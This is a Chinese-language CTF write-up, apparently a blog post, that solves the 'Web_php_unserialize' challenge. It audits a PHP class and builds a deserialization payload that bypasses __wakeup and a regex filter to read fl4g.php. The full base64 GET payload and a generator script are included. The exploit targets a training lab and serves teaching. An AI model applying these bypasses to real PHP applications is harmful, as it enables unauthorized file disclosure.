[CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析
代码审计
这段代码首先定义了一个名为 Demo 的类,包含了一个私有变量 $file 和三个魔术方法 __construct()、__destruct() 和 __wakeup()。其中:
- __construce()方法用于初始化 $file 变量
- __destruce方法用于输出文件内容
- __wakeup() 方法检查当前对象的 $file 变量,如果不等于 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
这段代码主要是用于接收 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。
解题思路
逆向思想:由于反序列化时先执行wakeup函数,故先绕过wakeup函数,再依次绕过preg_match函数与base64编码。
构造初始POC:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
wakeup绕过
修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
preg_match绕过
preg_match的正则表达式/[oc]:\d+:/i
表示匹配任意个位于开头的 o 或 c 字符
,紧接着一个冒号
,然后是一或多个数字
,最后是一个冒号
,不区分大小写。
即形如o:2:
的字符串被过滤,使用 +
即可绕过(固定知识点)
构造POC如下:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
base64绕过
由于题目将字符串进行base64解码,故将POC进行base64编码即可:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
GET传参
利用var
构造POC如下:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
PHP序列化的时候对public protected private变量的处理方式是不同的
public无标记,变量名不变,如s:3:"qiu";i:2;
protected在变量名前添加标记\00*\00,长度加3,如s:6:"\00*\00qiu";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如s:17:"\00FileHandler_Z\00op";i:2;
method 2
由于手动构造POC链会出现输出乱码的情况,因此法二采用工具进行序列化。
代码如下:
class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } }}$Q=new Demo("fl4g.php");$Q=serialize($Q); //序列化$Q=str_replace("O:4","O:+4",$Q); //+号绕过$Q=str_replace(":1:{",":2:{",$Q); // wakeup绕过$Q=base64_encode($Q); //base64绕过echo $Q;?>
总结
该题考察反序列化相关知识,逐一分析即可。
我是秋说,我们下次见。
来源地址:https://blog.csdn.net/2301_77485708/article/details/130902069